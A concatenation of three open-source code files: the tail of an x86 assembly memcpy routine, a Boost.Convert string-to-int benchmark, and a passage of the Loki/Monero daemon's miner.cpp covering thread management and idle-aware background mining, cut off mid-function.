mov al, byte ptr [esi]
mov byte ptr [edi], al
inc esi
inc edi
dec ecx
jne CopyUpByteLoop
align 16
CopyUpReturn:
; return dst
mov eax,[esp + 0Ch] ; return original destination pointer
pop esi
pop edi
M_EXIT
; dst addr is not 16 byte aligned
align 16
XmmCopyUnaligned:
; copy the first the first 1-15 bytes to align both src and dst up to the nearest 16-byte boundary:
; in
; esi = src
; edi = dst
; eax = src and dst alignment
; ecx = length
mov edx, 010h
sub edx, eax ; calculate number of bytes to get it aligned
sub ecx, edx ; calc new length and save it
push ecx
mov eax, edx ; save alignment byte count for dwords
mov ecx, eax ; set ecx to rep count
and ecx, 03h
je XmmAlignDwordTest ; if no bytes go do dwords
XmmAlignByte:
mov dl, byte ptr [esi] ; move the bytes
mov byte ptr [edi], dl
inc esi ; increment the addresses
inc edi
dec ecx ; decrement the counter
jne XmmAlignByte
XmmAlignDwordTest:
shr eax, 2 ; get dword count
je XmmAlignAdjustCnt ; if none go to main loop
XmmAlignDwordLoop:
mov edx, dword ptr [esi] ; move the dwords
mov dword ptr [edi], edx
lea esi, [esi+4] ; increment the addresses
lea edi, [edi+4]
dec eax ; decrement the counter
jne XmmAlignDwordLoop
XmmAlignAdjustCnt:
pop ecx ; retrieve the adjusted length
jmp XmmCopyAligned
_MEM_ endp
end
|
// Boost.Convert test and usage example
// Copyright (c) 2009-2014 Vladimir Batov.
// Use, modification and distribution are subject to the Boost Software License,
// Version 1.0. See http://www.boost.org/LICENSE_1_0.txt.
// This code has been adapted from libs/spirit/optimization/qi/int_parser.cpp.
// This code uses the performance testing framework from libs/spirit/optimization/measure.cpp.
// See these mentioned files for the copyright notice.
#include "./test.hpp"
#ifdef BOOST_CONVERT_INTEL_SFINAE_BROKEN
int main(int, char const* []) { return 0; }
#else
#include <boost/convert.hpp>
#include <boost/convert/spirit.hpp>
#include <boost/convert/strtol.hpp>
#include <boost/convert/lexical_cast.hpp>
#include "./prepare.hpp"
//#define main() old_str_to_int_test_spirit()
//#include <libs/spirit/optimization/qi/int_parser.cpp>
#include <libs/spirit/workbench/measure.hpp>
#include <string>
#include <vector>
#include <cstdlib>
#include <boost/spirit/include/qi.hpp>
namespace
{
namespace local
{
struct base : test::base
{
base() : strings_(local::get_strs()) {}
// Test strings are created as part of the object, i.e. on the stack to make sure
// they are easily accessed.
local::strings strings_;
};
}
struct raw_lxcast_str_to_int_test : local::base
{
void benchmark()
{
for (size_t i = 0; i < strings_.size(); ++i)
this->val += boost::lexical_cast<int>(strings_[i].c_str());
}
};
struct cnv_lxcast_str_to_int_test : local::base
{
void benchmark()
{
for (size_t i = 0; i < strings_.size(); ++i)
this->val += boost::convert<int>(strings_[i].c_str(), cnv).value();
}
boost::cnv::lexical_cast cnv;
};
struct raw_spirit_str_to_int_test : local::base
{
static int parse(char const* str)
{
char const* beg = str;
char const* end = beg + strlen(str);
int n;
if (boost::spirit::qi::parse(beg, end, boost::spirit::qi::int_, n))
if (beg == end)
return n;
return (BOOST_ASSERT(0), 0);
}
void benchmark()
{
for (size_t i = 0; i < strings_.size(); ++i)
this->val += parse(strings_[i].c_str());
}
};
struct cnv_spirit_str_to_int_test : local::base
{
void benchmark()
{
for (size_t i = 0; i < strings_.size(); ++i)
this->val += boost::convert<int>(strings_[i].c_str(), cnv).value();
}
boost::cnv::spirit cnv;
};
}
int
main(int, char const* [])
{
// This code has been adapted from libs/spirit/optimization/qi/int_parser.cpp.
// This code uses the performance testing framework from libs/spirit/optimization/measure.cpp.
// See these mentioned files for the copyright notice.
BOOST_SPIRIT_TEST_BENCHMARK(
10000000, // This is the maximum repetitions to execute
(raw_lxcast_str_to_int_test)
(cnv_lxcast_str_to_int_test)
(raw_spirit_str_to_int_test)
(cnv_spirit_str_to_int_test)
)
// This is ultimately responsible for preventing all the test code
// from being optimized away. Change this to return 0 and you
// unplug the whole test's life support system.
return test::live_code != 0;
}
#endif
|
// Copyright (c) 2014-2019, The Monero Project
// Copyright (c) 2018, The Loki Project
//
// All rights reserved.
//
// Redistribution and use in source and binary forms, with or without modification, are
// permitted provided that the following conditions are met:
//
// 1. Redistributions of source code must retain the above copyright notice, this list of
// conditions and the following disclaimer.
//
// 2. Redistributions in binary form must reproduce the above copyright notice, this list
// of conditions and the following disclaimer in the documentation and/or other
// materials provided with the distribution.
//
// 3. Neither the name of the copyright holder nor the names of its contributors may be
// used to endorse or promote products derived from this software without specific
// prior written permission.
//
// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY
// EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF
// MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL
// THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
// SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
// PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
// INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT,
// STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF
// THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
//
// Parts of this file are originally copyright (c) 2012-2013 The Cryptonote developers
#include <sstream>
#include <numeric>
#include <boost/utility/value_init.hpp>
#include <boost/interprocess/detail/atomic.hpp>
#include <boost/algorithm/string.hpp>
#include "misc_language.h"
#include "syncobj.h"
#include "cryptonote_basic/cryptonote_basic_impl.h"
#include "cryptonote_basic/cryptonote_format_utils.h"
#include "cryptonote_core/cryptonote_tx_utils.h"
#include "file_io_utils.h"
#include "common/command_line.h"
#include "common/util.h"
#include "string_coding.h"
#include "string_tools.h"
#include "storages/portable_storage_template_helper.h"
#include "boost/logic/tribool.hpp"
#ifdef __APPLE__
#include <sys/times.h>
#include <IOKit/IOKitLib.h>
#include <IOKit/ps/IOPSKeys.h>
#include <IOKit/ps/IOPowerSources.h>
#include <mach/mach_host.h>
#include <AvailabilityMacros.h>
#include <TargetConditionals.h>
#elif defined(__linux__)
#include <unistd.h>
#include <sys/resource.h>
#include <sys/times.h>
#include <time.h>
#elif defined(__FreeBSD__)
#include <devstat.h>
#include <errno.h>
#include <fcntl.h>
#include <machine/apm_bios.h>
#include <stdio.h>
#include <sys/resource.h>
#include <sys/sysctl.h>
#include <sys/times.h>
#include <sys/types.h>
#include <unistd.h>
#endif
#undef LOKI_DEFAULT_LOG_CATEGORY
#define LOKI_DEFAULT_LOG_CATEGORY "miner"
#define AUTODETECT_WINDOW 10 // seconds
#define AUTODETECT_GAIN_THRESHOLD 1.02f // 2%
using namespace epee;
#include "miner.h"
namespace cryptonote
{
namespace
{
const command_line::arg_descriptor<std::string> arg_extra_messages = {"extra-messages-file", "Specify file for extra messages to include into coinbase transactions", "", true};
const command_line::arg_descriptor<std::string> arg_start_mining = {"start-mining", "Specify wallet address to mining for", "", true};
const command_line::arg_descriptor<uint32_t> arg_mining_threads = {"mining-threads", "Specify mining threads count", 0, true};
const command_line::arg_descriptor<bool> arg_bg_mining_enable = {"bg-mining-enable", "enable/disable background mining", true, true};
const command_line::arg_descriptor<bool> arg_bg_mining_ignore_battery = {"bg-mining-ignore-battery", "if true, assumes plugged in when unable to query system power status", false, true};
const command_line::arg_descriptor<uint64_t> arg_bg_mining_min_idle_interval_seconds = {"bg-mining-min-idle-interval", "Specify min lookback interval in seconds for determining idle state", miner::BACKGROUND_MINING_DEFAULT_MIN_IDLE_INTERVAL_IN_SECONDS, true};
const command_line::arg_descriptor<uint16_t> arg_bg_mining_idle_threshold_percentage = {"bg-mining-idle-threshold", "Specify minimum avg idle percentage over lookback interval", miner::BACKGROUND_MINING_DEFAULT_IDLE_THRESHOLD_PERCENTAGE, true};
const command_line::arg_descriptor<uint16_t> arg_bg_mining_miner_target_percentage = {"bg-mining-miner-target", "Specify maximum percentage cpu use by miner(s)", miner::BACKGROUND_MINING_DEFAULT_MINING_TARGET_PERCENTAGE, true};
}
miner::miner(i_miner_handler* phandler, Blockchain* pbc):m_stop(1),
m_template(boost::value_initialized<block>()),
m_template_no(0),
m_diffic(0),
m_thread_index(0),
m_phandler(phandler),
m_pbc(pbc),
m_height(0),
m_threads_active(0),
m_pausers_count(0),
m_threads_total(0),
m_starter_nonce(0),
m_last_hr_merge_time(0),
m_hashes(0),
m_total_hashes(0),
m_do_print_hashrate(false),
m_do_mining(false),
m_current_hash_rate(0),
m_is_background_mining_enabled(false),
m_min_idle_seconds(BACKGROUND_MINING_DEFAULT_MIN_IDLE_INTERVAL_IN_SECONDS),
m_idle_threshold(BACKGROUND_MINING_DEFAULT_IDLE_THRESHOLD_PERCENTAGE),
m_mining_target(BACKGROUND_MINING_DEFAULT_MINING_TARGET_PERCENTAGE),
m_miner_extra_sleep(BACKGROUND_MINING_DEFAULT_MINER_EXTRA_SLEEP_MILLIS),
m_block_reward(0)
{
m_attrs.set_stack_size(THREAD_STACK_SIZE);
}
//-----------------------------------------------------------------------------------------------------
miner::~miner()
{
try { stop(); }
catch (...) { /* ignore */ }
}
//-----------------------------------------------------------------------------------------------------
bool miner::set_block_template(const block& bl, const difficulty_type& di, uint64_t height, uint64_t block_reward)
{
CRITICAL_REGION_LOCAL(m_template_lock);
m_template = bl;
m_diffic = di;
m_height = height;
m_block_reward = block_reward;
++m_template_no;
m_starter_nonce = crypto::rand<uint32_t>();
return true;
}
//-----------------------------------------------------------------------------------------------------
bool miner::on_block_chain_update()
{
if(!is_mining())
return true;
return request_block_template();
}
//-----------------------------------------------------------------------------------------------------
bool miner::request_block_template()
{
block bl;
difficulty_type di = AUTO_VAL_INIT(di);
uint64_t height = AUTO_VAL_INIT(height);
uint64_t expected_reward; //only used for RPC calls - could possibly be useful here too?
cryptonote::blobdata extra_nonce;
if(m_extra_messages.size() && m_config.current_extra_message_index < m_extra_messages.size())
{
extra_nonce = m_extra_messages[m_config.current_extra_message_index];
}
if(!m_phandler->get_block_template(bl, m_mine_address, di, height, expected_reward, extra_nonce))
{
LOG_ERROR("Failed to get_block_template(), stopping mining");
return false;
}
set_block_template(bl, di, height, expected_reward);
return true;
}
//-----------------------------------------------------------------------------------------------------
bool miner::on_idle()
{
m_update_block_template_interval.do_call([&](){
if(is_mining())request_block_template();
return true;
});
m_update_merge_hr_interval.do_call([&](){
merge_hr();
return true;
});
m_autodetect_interval.do_call([&](){
update_autodetection();
return true;
});
return true;
}
//-----------------------------------------------------------------------------------------------------
void miner::do_print_hashrate(bool do_hr)
{
m_do_print_hashrate = do_hr;
}
//-----------------------------------------------------------------------------------------------------
void miner::merge_hr()
{
if(m_last_hr_merge_time && is_mining())
{
m_current_hash_rate = m_hashes * 1000 / ((misc_utils::get_tick_count() - m_last_hr_merge_time + 1));
CRITICAL_REGION_LOCAL(m_last_hash_rates_lock);
m_last_hash_rates.push_back(m_current_hash_rate);
if(m_last_hash_rates.size() > 19)
m_last_hash_rates.pop_front();
if(m_do_print_hashrate)
{
uint64_t total_hr = std::accumulate(m_last_hash_rates.begin(), m_last_hash_rates.end(), 0);
float hr = static_cast<float>(total_hr)/static_cast<float>(m_last_hash_rates.size());
const auto flags = std::cout.flags();
const auto precision = std::cout.precision();
std::cout << "hashrate: " << std::setprecision(4) << std::fixed << hr << std::setiosflags(flags) << std::setprecision(precision) << ENDL;
}
}
m_last_hr_merge_time = misc_utils::get_tick_count();
m_hashes = 0;
}
//-----------------------------------------------------------------------------------------------------
void miner::update_autodetection()
{
if (m_threads_autodetect.empty())
return;
uint64_t now = epee::misc_utils::get_ns_count();
uint64_t dt = now - m_threads_autodetect.back().first;
if (dt < AUTODETECT_WINDOW * 1000000000ull)
return;
// work out how many more hashes we got
m_threads_autodetect.back().first = dt;
uint64_t dh = m_total_hashes - m_threads_autodetect.back().second;
m_threads_autodetect.back().second = dh;
float hs = dh / (dt / (float)1000000000);
MGINFO("Mining autodetection: " << m_threads_autodetect.size() << " threads: " << hs << " H/s");
// when we don't increase by at least 2%, stop, otherwise check next
// if N and N+1 have mostly the same hash rate, we want to "lighter" one
bool found = false;
if (m_threads_autodetect.size() > 1)
{
int previdx = m_threads_autodetect.size() - 2;
float previous_hs = m_threads_autodetect[previdx].second / (m_threads_autodetect[previdx].first / (float)1000000000);
if (previous_hs > 0 && hs / previous_hs < AUTODETECT_GAIN_THRESHOLD)
{
m_threads_total = m_threads_autodetect.size() - 1;
m_threads_autodetect.clear();
MGINFO("Optimal number of threads seems to be " << m_threads_total);
found = true;
}
}
if (!found)
{
// setup one more thread
m_threads_autodetect.push_back({now, m_total_hashes});
m_threads_total = m_threads_autodetect.size();
}
// restart all threads
{
CRITICAL_REGION_LOCAL(m_threads_lock);
boost::interprocess::ipcdetail::atomic_write32(&m_stop, 1);
while (m_threads_active > 0)
misc_utils::sleep_no_w(100);
m_threads.clear();
}
boost::interprocess::ipcdetail::atomic_write32(&m_stop, 0);
boost::interprocess::ipcdetail::atomic_write32(&m_thread_index, 0);
for(size_t i = 0; i != m_threads_total; i++)
m_threads.push_back(boost::thread(m_attrs, boost::bind(&miner::worker_thread, this)));
}
//-----------------------------------------------------------------------------------------------------
void miner::init_options(boost::program_options::options_description& desc)
{
command_line::add_arg(desc, arg_extra_messages);
command_line::add_arg(desc, arg_start_mining);
command_line::add_arg(desc, arg_mining_threads);
command_line::add_arg(desc, arg_bg_mining_enable);
command_line::add_arg(desc, arg_bg_mining_ignore_battery);
command_line::add_arg(desc, arg_bg_mining_min_idle_interval_seconds);
command_line::add_arg(desc, arg_bg_mining_idle_threshold_percentage);
command_line::add_arg(desc, arg_bg_mining_miner_target_percentage);
}
//-----------------------------------------------------------------------------------------------------
bool miner::init(const boost::program_options::variables_map& vm, network_type nettype)
{
if(command_line::has_arg(vm, arg_extra_messages))
{
std::string buff;
bool r = file_io_utils::load_file_to_string(command_line::get_arg(vm, arg_extra_messages), buff);
CHECK_AND_ASSERT_MES(r, false, "Failed to load file with extra messages: " << command_line::get_arg(vm, arg_extra_messages));
std::vector<std::string> extra_vec;
boost::split(extra_vec, buff, boost::is_any_of("\n"), boost::token_compress_on );
m_extra_messages.resize(extra_vec.size());
for(size_t i = 0; i != extra_vec.size(); i++)
{
string_tools::trim(extra_vec[i]);
if(!extra_vec[i].size())
continue;
std::string buff = string_encoding::base64_decode(extra_vec[i]);
if(buff != "0")
m_extra_messages[i] = buff;
}
m_config_folder_path = boost::filesystem::path(command_line::get_arg(vm, arg_extra_messages)).parent_path().string();
m_config = AUTO_VAL_INIT(m_config);
const std::string filename = m_config_folder_path + "/" + MINER_CONFIG_FILE_NAME;
CHECK_AND_ASSERT_MES(epee::serialization::load_t_from_json_file(m_config, filename), false, "Failed to load data from " << filename);
MINFO("Loaded " << m_extra_messages.size() << " extra messages, current index " << m_config.current_extra_message_index);
}
if(command_line::has_arg(vm, arg_start_mining))
{
address_parse_info info;
if(!cryptonote::get_account_address_from_str(info, nettype, command_line::get_arg(vm, arg_start_mining)) || info.is_subaddress)
{
LOG_ERROR("Target account address " << command_line::get_arg(vm, arg_start_mining) << " has wrong format, starting daemon canceled");
return false;
}
m_mine_address = info.address;
m_threads_total = 1;
m_do_mining = true;
if(command_line::has_arg(vm, arg_mining_threads))
{
m_threads_total = command_line::get_arg(vm, arg_mining_threads);
}
}
// Background mining parameters
// Let init set all parameters even if background mining is not enabled, they can start later with params set
if(command_line::has_arg(vm, arg_bg_mining_enable))
set_is_background_mining_enabled( command_line::get_arg(vm, arg_bg_mining_enable) );
if(command_line::has_arg(vm, arg_bg_mining_ignore_battery))
set_ignore_battery( command_line::get_arg(vm, arg_bg_mining_ignore_battery) );
if(command_line::has_arg(vm, arg_bg_mining_min_idle_interval_seconds))
set_min_idle_seconds( command_line::get_arg(vm, arg_bg_mining_min_idle_interval_seconds) );
if(command_line::has_arg(vm, arg_bg_mining_idle_threshold_percentage))
set_idle_threshold( command_line::get_arg(vm, arg_bg_mining_idle_threshold_percentage) );
if(command_line::has_arg(vm, arg_bg_mining_miner_target_percentage))
set_mining_target( command_line::get_arg(vm, arg_bg_mining_miner_target_percentage) );
return true;
}
//-----------------------------------------------------------------------------------------------------
bool miner::is_mining() const
{
return !m_stop;
}
//-----------------------------------------------------------------------------------------------------
const account_public_address& miner::get_mining_address() const
{
return m_mine_address;
}
//-----------------------------------------------------------------------------------------------------
uint32_t miner::get_threads_count() const {
return m_threads_total;
}
//-----------------------------------------------------------------------------------------------------
bool miner::start(const account_public_address& adr, size_t threads_count, bool do_background, bool ignore_battery)
{
m_block_reward = 0;
m_mine_address = adr;
m_threads_total = static_cast<uint32_t>(threads_count);
if (threads_count == 0)
{
m_threads_autodetect.clear();
m_threads_autodetect.push_back({epee::misc_utils::get_ns_count(), m_total_hashes});
m_threads_total = 1;
}
m_starter_nonce = crypto::rand<uint32_t>();
CRITICAL_REGION_LOCAL(m_threads_lock);
if(is_mining())
{
LOG_ERROR("Starting miner but it's already started");
return false;
}
if(!m_threads.empty())
{
LOG_ERROR("Unable to start miner because there are active mining threads");
return false;
}
request_block_template();//lets update block template
boost::interprocess::ipcdetail::atomic_write32(&m_stop, 0);
boost::interprocess::ipcdetail::atomic_write32(&m_thread_index, 0);
set_is_background_mining_enabled(do_background);
set_ignore_battery(ignore_battery);
for(size_t i = 0; i != m_threads_total; i++)
{
m_threads.push_back(boost::thread(m_attrs, boost::bind(&miner::worker_thread, this)));
}
if (threads_count == 0)
MINFO("Mining has started, autodetecting optimal number of threads, good luck!" );
else
MINFO("Mining has started with " << threads_count << " threads, good luck!" );
if( get_is_background_mining_enabled() )
{
m_background_mining_thread = boost::thread(m_attrs, boost::bind(&miner::background_worker_thread, this));
LOG_PRINT_L0("Background mining controller thread started" );
}
if(get_ignore_battery())
{
MINFO("Ignoring battery");
}
return true;
}
//-----------------------------------------------------------------------------------------------------
uint64_t miner::get_speed() const
{
if(is_mining()) {
return m_current_hash_rate;
}
else {
return 0;
}
}
//-----------------------------------------------------------------------------------------------------
void miner::send_stop_signal()
{
boost::interprocess::ipcdetail::atomic_write32(&m_stop, 1);
}
extern "C" void rx_stop_mining(void);
//-----------------------------------------------------------------------------------------------------
bool miner::stop()
{
MTRACE("Miner has received stop signal");
CRITICAL_REGION_LOCAL(m_threads_lock);
bool mining = !m_threads.empty();
if (!mining)
{
MTRACE("Not mining - nothing to stop" );
return true;
}
send_stop_signal();
// In case background mining was active and the miner threads are waiting
// on the background miner to signal start.
while (m_threads_active > 0)
{
m_is_background_mining_started_cond.notify_all();
misc_utils::sleep_no_w(100);
}
// The background mining thread could be sleeping for a long time, so we
// interrupt it just in case
m_background_mining_thread.interrupt();
m_background_mining_thread.join();
m_is_background_mining_enabled = false;
MINFO("Mining has been stopped, " << m_threads.size() << " finished" );
m_threads.clear();
m_threads_autodetect.clear();
rx_stop_mining();
return true;
}
//-----------------------------------------------------------------------------------------------------
bool miner::find_nonce_for_given_block(const Blockchain *pbc, block& bl, const difficulty_type& diffic, uint64_t height)
{
for(; bl.nonce != std::numeric_limits<uint32_t>::max(); bl.nonce++)
{
crypto::hash h;
get_block_longhash(pbc, bl, h, height, tools::get_max_concurrency());
if(check_hash(h, diffic))
{
bl.invalidate_hashes();
return true;
}
}
bl.invalidate_hashes();
return false;
}
//-----------------------------------------------------------------------------------------------------
void miner::on_synchronized()
{
if(m_do_mining)
{
start(m_mine_address, m_threads_total, get_is_background_mining_enabled(), get_ignore_battery());
}
}
//-----------------------------------------------------------------------------------------------------
void miner::pause()
{
CRITICAL_REGION_LOCAL(m_miners_count_lock);
MDEBUG("miner::pause: " << m_pausers_count << " -> " << (m_pausers_count + 1));
++m_pausers_count;
if(m_pausers_count == 1 && is_mining())
MDEBUG("MINING PAUSED");
}
//-----------------------------------------------------------------------------------------------------
void miner::resume()
{
CRITICAL_REGION_LOCAL(m_miners_count_lock);
MDEBUG("miner::resume: " << m_pausers_count << " -> " << (m_pausers_count - 1));
--m_pausers_count;
if(m_pausers_count < 0)
{
m_pausers_count = 0;
MERROR("Unexpected miner::resume() called");
}
if(!m_pausers_count && is_mining())
MDEBUG("MINING RESUMED");
}
//-----------------------------------------------------------------------------------------------------
bool miner::worker_thread()
{
uint32_t th_local_index = boost::interprocess::ipcdetail::atomic_inc32(&m_thread_index);
MLOG_SET_THREAD_NAME(std::string("[miner ") + std::to_string(th_local_index) + "]");
MGINFO("Miner thread was started ["<< th_local_index << "]");
uint32_t nonce = m_starter_nonce + th_local_index;
uint64_t height = 0;
difficulty_type local_diff = 0;
uint32_t local_template_ver = 0;
block b;
++m_threads_active;
while(!m_stop)
{
if(m_pausers_count)//anti split workaround
{
misc_utils::sleep_no_w(100);
continue;
}
else if( m_is_background_mining_enabled )
{
misc_utils::sleep_no_w(m_miner_extra_sleep);
while( !m_is_background_mining_started )
{
MGINFO("background mining is enabled, but not started, waiting until start triggers");
boost::unique_lock<boost::mutex> started_lock( m_is_background_mining_started_mutex );
m_is_background_mining_started_cond.wait( started_lock );
if( m_stop ) break;
}
if( m_stop ) continue;
}
if(local_template_ver != m_template_no)
{
CRITICAL_REGION_BEGIN(m_template_lock);
b = m_template;
local_diff = m_diffic;
height = m_height;
CRITICAL_REGION_END();
local_template_ver = m_template_no;
nonce = m_starter_nonce + th_local_index;
}
if(!local_template_ver)//no any set_block_template call
{
LOG_PRINT_L2("Block template not set yet");
epee::misc_utils::sleep_no_w(1000);
continue;
}
b.nonce = nonce;
crypto::hash h;
get_block_longhash(m_pbc, b, h, height, tools::get_max_concurrency());
if(check_hash(h, local_diff))
{
//we lucky!
++m_config.current_extra_message_index;
MGINFO_GREEN("Found block " << get_block_hash(b) << " at height " << height << " for difficulty: " << local_diff);
cryptonote::block_verification_context bvc;
if(!m_phandler->handle_block_found(b, bvc) || !bvc.m_added_to_main_chain)
{
--m_config.current_extra_message_index;
}else
{
//success update, lets update config
if (!m_config_folder_path.empty())
epee::serialization::store_t_to_json_file(m_config, m_config_folder_path + "/" + MINER_CONFIG_FILE_NAME);
}
#if defined(LOKI_ENABLE_INTEGRATION_TEST_HOOKS)
if (m_debug_mine_singular_block)
{
m_debug_mine_singular_block = false;
break;
}
#endif
}
nonce+=m_threads_total;
++m_hashes;
++m_total_hashes;
}
MGINFO("Miner thread stopped ["<< th_local_index << "]");
--m_threads_active;
#if defined(LOKI_ENABLE_INTEGRATION_TEST_HOOKS)
stop();
#endif
return true;
}
//-----------------------------------------------------------------------------------------------------
bool miner::get_is_background_mining_enabled() const
{
return m_is_background_mining_enabled;
}
//-----------------------------------------------------------------------------------------------------
bool miner::get_ignore_battery() const
{
return m_ignore_battery;
}
//-----------------------------------------------------------------------------------------------------
/**
* This has differing behaviour depending on if mining has been started/etc.
* Note: add documentation
*/
bool miner::set_is_background_mining_enabled(bool is_background_mining_enabled)
{
m_is_background_mining_enabled = is_background_mining_enabled;
// Extra logic will be required if we make this function public in the future
// and allow toggling smart mining without start/stop
//m_is_background_mining_enabled_cond.notify_one();
return true;
}
//-----------------------------------------------------------------------------------------------------
void miner::set_ignore_battery(bool ignore_battery)
{
m_ignore_battery = ignore_battery;
}
//-----------------------------------------------------------------------------------------------------
uint64_t miner::get_min_idle_seconds() const
{
return m_min_idle_seconds;
}
//-----------------------------------------------------------------------------------------------------
bool miner::set_min_idle_seconds(uint64_t min_idle_seconds)
{
if(min_idle_seconds > BACKGROUND_MINING_MAX_MIN_IDLE_INTERVAL_IN_SECONDS) return false;
if(min_idle_seconds < BACKGROUND_MINING_MIN_MIN_IDLE_INTERVAL_IN_SECONDS) return false;
m_min_idle_seconds = min_idle_seconds;
return true;
}
//-----------------------------------------------------------------------------------------------------
uint8_t miner::get_idle_threshold() const
{
return m_idle_threshold;
}
//-----------------------------------------------------------------------------------------------------
bool miner::set_idle_threshold(uint8_t idle_threshold)
{
if(idle_threshold > BACKGROUND_MINING_MAX_IDLE_THRESHOLD_PERCENTAGE) return false;
if(idle_threshold < BACKGROUND_MINING_MIN_IDLE_THRESHOLD_PERCENTAGE) return false;
m_idle_threshold = idle_threshold;
return true;
}
//-----------------------------------------------------------------------------------------------------
uint8_t miner::get_mining_target() const
{
return m_mining_target;
}
//-----------------------------------------------------------------------------------------------------
bool miner::set_mining_target(uint8_t mining_target)
{
if(mining_target > BACKGROUND_MINING_MAX_MINING_TARGET_PERCENTAGE) return false;
if(mining_target < BACKGROUND_MINING_MIN_MINING_TARGET_PERCENTAGE) return false;
m_mining_target = mining_target;
return true;
}
//-----------------------------------------------------------------------------------------------------
bool miner::background_worker_thread()
{
uint64_t prev_total_time, current_total_time;
uint64_t prev_idle_time, current_idle_time;
uint64_t previous_process_time = 0, current_process_time = 0;
m_is_background_mining_started = false;
if(!get_system_times(prev_total_time, prev_idle_time))
{
LOG_ERROR("get_system_times call failed, background mining will NOT work!");
return false;
}
while(!m_stop)
{
try
{
// Commenting out the below since we're going with privatizing the bg mining enabled
// function, but I'll leave the code/comments here for anyone that wants to modify the
// patch in the future
// -------------------------------------------------------------------------------------
// All of this might be overkill if we just enforced some simple requirements
// about changing this variable before/after the miner starts, but I envision
// in the future a checkbox that you can tick on/off for background mining after
// you've clicked "start mining". There's still an issue here where if background
// mining is disabled when start is called, this thread is never created, and so
// enabling after does nothing, something I have to fix in the future. However,
// this should take care of the case where mining is started with bg-enabled,
// and then the user decides to un-check background mining, and just do
// regular full-speed mining. I might just be over-doing it and thinking up
// non-existant use-cases, so if the consensus is to simplify, we can remove all this fluff.
/*
while( !m_is_background_mining_enabled )
{
MGINFO("background mining is disabled, waiting until enabled!");
boost::unique_lock<boost::mutex> enabled_lock( m_is_background_mining_enabled_mutex );
m_is_background_mining_enabled_cond.wait( enabled_lock );
}
*/
// If we're already mining, then sleep for the miner monitor interval.
// If we're NOT mining, then sleep for the idle monitor interval
uint64_t sleep_for_seconds = BACKGROUND_MINING_MINER_MONITOR_INVERVAL_IN_SECONDS;
if( !m_is_background_mining_started ) sleep_for_seconds = get_min_idle_seconds();
boost::this_thread::sleep_for(boost::chrono::seconds(sleep_for_seconds));
}
catch(const boost::thread_interrupted&)
{
MDEBUG("background miner thread interrupted ");
continue; // if interrupted because stop called, loop should end ..
}
bool on_ac_power = m_ignore_battery;
if(!m_ignore_battery)
{
boost::tribool battery_powered(on_battery_power());
if(!indeterminate( battery_powered ))
{
on_ac_power = !(bool)battery_powered;
}
}
if( m_is_background_mining_started )
{
// figure out if we need to stop, and monitor mining usage
// If we get here, then previous values are initialized.
// Let's get some current data for comparison.
if(!get_system_times(current_total_time, current_idle_time))
{
MERROR("get_system_times call failed");
continue;
}
if(!get_process_time(current_process_time))
{
MERROR("get_process_time call failed!");
continue;
}
uint64_t total_diff = (current_total_time - prev_total_time);
uint64_t idle_diff = (current_idle_time - prev_idle_time);
uint64_t process_diff = (current_process_time - previous_process_time);
uint8_t idle_percentage = get_percent_of_total(idle_diff, total_diff);
uint8_t process_percentage = get_percent_of_total(process_diff, total_diff);
MDEBUG("idle percentage is " << unsigned(idle_percentage) << "\%, miner percentage is " << unsigned(process_percentage) << "\%, ac power : " << on_ac_power);
if( idle_percentage + process_percentage < get_idle_threshold() || !on_ac_power )
{
MINFO("cpu is " << unsigned(idle_percentage) << "% idle, idle threshold is " << unsigned(get_idle_threshold()) << "\%, ac power : " << on_ac_power << ", background mining stopping, thanks for your contribution!");
m_is_background_mining_started = false;
// reset process times
previous_process_time = 0;
current_process_time = 0;
}
else
{
previous_process_time = current_process_time;
// adjust the miner extra sleep variable
int64_t miner_extra_sleep_change = (-1 * (get_mining_target() - process_percentage) );
int64_t new_miner_extra_sleep = m_miner_extra_sleep + miner_extra_sleep_change;
// if you start the miner with few threads on a multicore system, this could
// fall below zero because all the time functions aggregate across all processors.
// I'm just hard limiting to 5 millis min sleep here, other options?
m_miner_extra_sleep = std::max( new_miner_extra_sleep , (int64_t)5 );
MDEBUG("m_miner_extra_sleep " << m_miner_extra_sleep);
}
prev_total_time = current_total_time;
prev_idle_time = current_idle_time;
}
else if( on_ac_power )
{
// figure out if we need to start
if(!get_system_times(current_total_time, current_idle_time))
{
MERROR("get_system_times call failed");
continue;
}
uint64_t total_diff = (current_total_time - prev_total_time);
uint64_t idle_diff = (current_idle_time - prev_idle_time);
uint8_t idle_percentage = get_percent_of_total(idle_diff, total_diff);
MDEBUG("idle percentage is " << unsigned(idle_percentage));
if( idle_percentage >= get_idle_threshold() && on_ac_power )
{
MINFO("cpu is " << unsigned(idle_percentage) << "% idle, idle threshold is " << unsigned(get_idle_threshold()) << "\%, ac power : " << on_ac_power << ", background mining started, good luck!");
m_is_background_mining_started = true;
m_is_background_mining_started_cond.notify_all();
// Wait for a little mining to happen ..
boost::this_thread::sleep_for(boost::chrono::seconds( 1 ));
// Starting data ...
if(!get_process_time(previous_process_time))
{
m_is_background_mining_started = false;
MERROR("get_process_time call failed!");
}
}
prev_total_time = current_total_time;
prev_idle_time = current_idle_time;
}
}
return true;
}
//-----------------------------------------------------------------------------------------------------
bool miner::get_system_times(uint64_t& total_time, uint64_t& idle_time)
{
#ifdef _WIN32
FILETIME idleTime;
FILETIME kernelTime;
FILETIME userTime;
if ( GetSystemTimes( &idleTime, &kernelTime, &userTime ) != -1 )
{
total_time =
( (((uint64_t)(kernelTime.dwHighDateTime)) << 32) | ((uint64_t)kernelTime.dwLowDateTime) )
+ ( (((uint64_t)(userTime.dwHighDateTime)) << 32) | ((uint64_t)userTime.dwLowDateTime) );
